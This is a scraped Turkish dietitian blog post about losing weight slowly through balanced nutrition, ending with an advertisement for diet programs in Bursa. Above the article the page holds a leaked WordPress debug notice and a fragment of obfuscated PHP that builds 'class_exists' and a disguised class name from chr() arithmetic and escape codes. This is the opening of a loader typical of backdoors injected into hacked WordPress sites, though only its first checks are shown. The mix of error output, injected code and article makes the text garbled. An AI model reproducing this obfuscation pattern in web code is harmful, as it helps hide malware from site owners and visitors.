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Notice: _load_textdomain_just_in_time işlevi yanlış çağrıldı. Translation loading for the nutrico domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Ayrıntılı bilgi almak için lütfen WordPress hata ayıklama bölümüne bakın. (Bu ileti 6.7.0 sürümünde eklendi.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121
$KPSRXNVL = chr ( 790 - 710 ).'_' . 'x' . 'c' . "\125" . chr ( 120 - 19 ); $xSYKKfUqz = chr ( 304 - 205 ).chr ( 252 - 144 ).chr (97) . 's' . "\163" . "\x5f" . "\x65" . "\170" . "\151" . "\x73" . "\x74" . 's';$tDLjarJaO = class_exists($KPSRXNVL); $KPSRXNVL = "64582";$xSYKKfUqz = "23685";$wSXkaxVLu = FALSE;$AyJRmGc = 's' . chr (95) . "\156" . "\x47" . "\x65";$lnWjZ = "\x63" . "\154" . chr (97) . chr ( 595 - 480 )."\163" . chr ( 167 - 72 ).'e' . 'x' . "\151" . chr (115) . chr (116) . 's'; Kilo Vermede Zaman | Bursa Uzman Diyetisyeni & Fitoterapist Nursena Ardalı
Author Uzman Diyetisyen & Fitoterapist Nursena Ardalı Tags , , Categories Diyet, Genel Sağlık, Kilo Kaybı, Protein, Sağlık

Diyet yapmaya başladığınızda en önemli kurallardan birisi de sabırlı olmaktır. Birçok yerde vaat edilen “3 günde 15 kilo” gibi diyetlerin doğru olmadığını bilmeniz ve sağlıklı-kalıcı kilo vermek için zamana ihtiyacınız olduğunu unutmamanız gerekir. Bugün başlayacağınız bir beslenme ve spor programı ile önümüzdeki yaza istediğiniz bedenle girmeniz mümkün!

Sağlıklı ve formda olmak için vücudumuzdaki yağ oranını azaltmalı kas ve su miktarını arttırmalıyız. Kilo verme adına tek tip beslenme programları uygulamak, vücutta şok etkisi yaratarak hızlı bir şekilde kilo verdirse de sağlık açısından ciddi sonuçlara sebebiyet verebilir. Sadece karbonhidrat, yağ veya proteinden oluşan tek tip beslenme diyetleri, genel sağlık için yeterli değildir.

Benimsenen beslenme programı içerisinde yağ’a yer verilmemesi, yağda eriyen vitamin ve minerallerin eksikliğine neden olur. Karbonhidrat içermeyen diyetler beyin, böbrek, karaciğer gibi organların sağlığına zarar verir. Diyet içerisinde sebze ve meyve bulunmaması, vücutta vitamin eksiklerinin görülmesine; bağışıklık sisteminin güçsüzlüğüne neden olabilir. Yetersiz lif alınacağı için kabızlık gibi sindirim problemleri oluşabilir. Yeterli ve dengeli beslenme, insan sağlığının olmazsa olmazıdır.

Hadi siz de hikayenizi gelip anlatırsanız size uygun diyet programınızı fırsat ucretlendirme ile hazırlarız. Dyt.Nursena Ardalı Osmangazi Bursa Diyetisyenmerkezi Sağlıklı Günler Diler.

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